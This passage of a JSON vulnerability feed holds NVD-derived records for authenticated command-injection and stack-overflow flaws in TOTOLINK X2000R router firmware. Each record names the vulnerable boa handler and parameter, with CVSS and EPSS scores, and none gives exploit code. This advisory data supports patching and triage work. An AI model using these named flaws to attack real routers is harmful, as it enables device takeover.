CVE-2026-9817","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9817","type":"primary","publishedAt":"2026-10-20T21:17:22.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9817&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9817, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9814","cveId":"CVE-2026-9814","aliases":[],"kind":"vulnerability","title":"An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:22.773Z","updatedAt":"2026-10-23T23:19:50.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9814","asOf":"2026-10-23T23:19:50.850Z"},"epss":{"probability":0.01602,"percentile":0.75637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9814&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9814","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9814","type":"primary","publishedAt":"2026-10-20T21:17:22.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9814&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9814, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9660","cveId":"CVE-2026-9660","aliases":[],"kind":"vulnerability","title":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnPassword parameter.","detail":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnPassword parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:22.613Z","updatedAt":"2026-10-23T23:19:50.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9660","asOf":"2026-10-23T23:19:50.730Z"},"epss":{"probability":0.00512,"percentile":0.43391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9660","type":"primary","publishedAt":"2026-10-20T21:17:22.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9659","cveId":"CVE-2026-9659","aliases":[],"kind":"vulnerability","title":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnUser parameter.","detail":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnUser parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:22.410Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9659","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00791,"percentile":0.56007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9659","type":"primary","publishedAt":"2026-10-20T21:17:22.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42026","cveId":"CVE-2026-42026","aliases":[],"kind":"vulnerability","title":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s):...","summary":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns2 parameter.","detail":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns2 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.730Z","updatedAt":"2026-10-23T23:17:44.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42026","asOf":"2026-10-23T23:17:44.147Z"},"epss":{"probability":0.00512,"percentile":0.43391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42026","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42026","type":"primary","publishedAt":"2026-10-20T21:17:19.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42025","cveId":"CVE-2026-42025","aliases":[],"kind":"vulnerability","title":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s):...","summary":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns1 parameter.","detail":"Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns1 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.610Z","updatedAt":"2026-10-23T23:17:44.033Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42025","asOf":"2026-10-23T23:17:44.033Z"},"epss":{"probability":0.00512,"percentile":0.43391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42025","type":"primary","publishedAt":"2026-10-20T21:17:19.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42024","cveId":"CVE-2026-42024","aliases":[],"kind":"vulnerability","title":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...","summary":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_gw parameter.","detail":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_gw parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.490Z","updatedAt":"2026-10-23T23:17:43.937Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42024","asOf":"2026-10-23T23:17:43.937Z"},"epss":{"probability":0.00512,"percentile":0.4339,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42024&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42024","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42024","type":"primary","publishedAt":"2026-10-20T21:17:19.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42024&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42024, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42023","cveId":"CVE-2026-42023","aliases":[],"kind":"vulnerability","title":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...","summary":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_ipv6 parameter.","detail":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_ipv6 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.373Z","updatedAt":"2026-10-23T23:17:43.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42023","asOf":"2026-10-23T23:17:43.830Z"},"epss":{"probability":0.00512,"percentile":0.4339,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42023","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42023","type":"primary","publishedAt":"2026-10-20T21:17:19.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42022","cveId":"CVE-2026-42022","aliases":[],"kind":"vulnerability","title":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...","summary":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns2 parameter.","detail":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns2 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.257Z","updatedAt":"2026-10-23T23:17:43.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42022","asOf":"2026-10-23T23:17:43.730Z"},"epss":{"probability":0.00477,"percentile":0.40915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42022","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42022","type":"primary","publishedAt":"2026-10-20T21:17:19.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42021","cveId":"CVE-2026-42021","aliases":[],"kind":"vulnerability","title":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...","summary":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns1 parameter.","detail":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns1 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.140Z","updatedAt":"2026-10-23T23:17:43.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42021","asOf":"2026-10-23T23:17:43.620Z"},"epss":{"probability":0.00477,"percentile":0.40915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42021","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42021","type":"primary","publishedAt":"2026-10-20T21:17:19.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42020","cveId":"CVE-2026-42020","aliases":[],"kind":"vulnerability","title":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.","summary":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns2 parameter.","detail":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns2 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:19.020Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42020","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00737,"percentile":0.54209,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42020","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42020","type":"primary","publishedAt":"2026-10-20T21:17:19.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42019","cveId":"CVE-2026-42019","aliases":[],"kind":"vulnerability","title":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.","summary":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns1 parameter.","detail":"Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP 